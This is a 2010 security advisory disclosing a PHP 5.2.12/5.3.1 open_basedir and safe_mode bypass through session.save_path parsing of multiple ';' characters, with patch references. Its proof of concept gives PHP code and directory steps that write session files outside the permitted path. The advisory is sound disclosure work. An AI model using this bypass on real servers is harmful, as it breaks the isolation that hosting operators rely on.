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PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass
From: Maksymilian Arciemowicz <cxib () securityreason com>
Date: Thu, 11 Feb 2010 12:21:31 +0100

[ PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass ]

Credit: Grzegorz Stachowiak
Provided by: SecurityReason.com
Date:
- Written: 31.01.2010
- Public:  11.02.2010

SecurityRisk: Medium
Affected Software:
PHP 5.2.12
PHP 5.3.1

Advisory URL: http://securityreason.com/achievement_securityalert/82
Vendor: http://www.php.net

--- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.

A visitor accessing your web site is assigned a unique id, the so-called
session id. This is either stored in a cookie on the user side or is
propagated in the URL.

session.save_path defines the argument which is passed to the save
handler. If you choose the default files handler, this is the path where
the files are created. Defaults to /tmp. See also session_save_path().

There is an optional N argument to this directive that determines the
number of directory levels your session files will be spread around in.
For example, setting to '5;/tmp' may end up creating a session file and
location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If .
In order to use N you must create all of these directories before use. A
small shell script exists in ext/session to do this, it's called
mod_files.sh. Also note that if N is used and greater than 0 then
automatic garbage collection will not be performed, see a copy of
php.ini for further information. Also, if you use N, be sure to surround
session.save_path in "quotes" because the separator (;) is also used for
comments in php.ini.

---- 1. session.save_path safe mode and open basedir bypass ---
session.save_path can be set via ini_set(), session_save_path()
functions. In session.save_path there should be path where you will save
yours tmp files. But syntax for session.save_path is:

[/PATH]

OR

[N;/PATH]

N - can be also a string (N should be numeric).

EXAMPLES:

1. session_save_path("/DIR/WHERE/YOU/HAVE/ACCESS")
2. session_save_path("5;/DIR/WHERE/YOU/HAVE/ACCESS")

The main problem came when we use multiple ';' character and when we
will create fake directory structure to reduce '../'.

Proof of Concept:
0. Create directories:

/humhum

and

/byp

1. set open_basedir = /byp
2. create test.php
{
        session_save_path("/humhum");
        session_start();
}
3. php test.php

Warning: session_save_path(): open_basedir restriction in effect.
File(/humhum) is not within the allowed path(s): (/byp) in /byp/test.php
on line 3
4. subdir.php
{
mkdir("puf");
mkdir(";a");
}
5. php subdir.php
6. cd puf
7. create byp.php
{

session_save_path(";;/byp/;a/../../humhum");
session_start();

}
8. php byp.php
9. ls /humhum
sess_d905eb71c9ad65ce2a845cdb0fed3016

The main problem is located in session.c. PHP doesn't check, that we
have used next ';' after first. Creating fake directory structure

mkdir ';a'
mkdir '../;a'

we can reduce directory level using '../' .

--- 2. Fix ---
Revision 294272
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/session/session.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/session/session.c?view=log

--- 3. Credit ---
Founded by: Grzegorz Stachowiak
Written by: Maksymilian Arciemowicz
Fixed by  : Ilia Alshanetsky

--- 4. Contact ---
Email:
- Grzegorz.Stachowiak
    stachowiak [a,t} analogicode (d_0t} pl

- Maksymilian Arciemowicz
    cxib {a.t] securityreason [d0_t} com

GPG:
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database


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Description: OpenPGP digital signature

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